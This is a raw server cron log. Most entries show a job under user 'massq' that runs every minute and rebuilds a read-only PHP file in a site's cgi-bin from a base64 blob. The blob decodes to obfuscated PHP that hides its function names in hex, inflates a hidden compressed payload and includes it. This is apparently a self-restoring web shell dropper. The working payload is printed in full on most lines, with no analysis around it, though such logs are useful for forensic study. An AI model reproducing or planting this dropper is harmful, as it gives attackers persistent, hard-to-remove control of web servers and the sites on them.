Apr 11 15:20:01 server CROND[13132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:21:01 server CROND[13278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:22:01 server CROND[13363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:23:01 server CROND[13449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:24:01 server CROND[13525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:25:01 server CROND[13680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:25:01 server CROND[13681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:25:01 server CROND[13682]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:26:01 server CROND[13883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:27:01 server CROND[13994]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 15:27:01 server CROND[13996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:28:01 server CROND[14141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:29:01 server CROND[14211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:30:01 server CROND[14348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 15:30:01 server CROND[14350]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 15:30:01 server CROND[14352]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 15:30:01 server CROND[14351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:31:01 server CROND[14528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:32:01 server CROND[14620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 15:33:01 server CROND[14694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
